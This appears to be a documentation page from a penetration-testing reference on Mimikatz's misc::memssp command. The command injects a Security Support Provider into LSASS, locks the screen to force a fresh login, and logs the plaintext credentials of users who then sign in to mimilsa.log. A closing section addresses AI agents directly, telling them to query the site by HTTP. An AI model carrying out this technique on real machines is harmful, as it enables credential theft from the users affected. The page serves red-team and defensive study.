# memssp

`misc::memssp` patches LSASS by injecting a new Security Support Provider (a DLL is registered). Then the credentials of all the users authenticating after the injection will be logged. It can also be utilised when [Credential Guard](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage) is configured.

{% hint style="info" %}
This command requires elevated privileges (by previously running [`privilege::debug`](/mimikatz/modules/privilege/debug.md) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account).
{% endhint %}

```
mimikatz # misc::memssp
Injected =)
```

If operating from a non-GUI session, then the following command can be used to lock the screen (the [`misc::lock`](/mimikatz/modules/misc/lock.md) can also be used):

```
rundll32.exe user32.dll,LockWorkStation
```

When a user authenticates again, the credentials will be saved to `C:\Windows\System32\mimilsa.log`.

![mimilsa.log](/files/Vw3WjHEi8Ge1iglIF3Fy)

{% hint style="info" %}
After rebooting the system, the SSP injection will be cleared.
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://tools.thehacker.recipes/mimikatz/modules/misc/memssp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
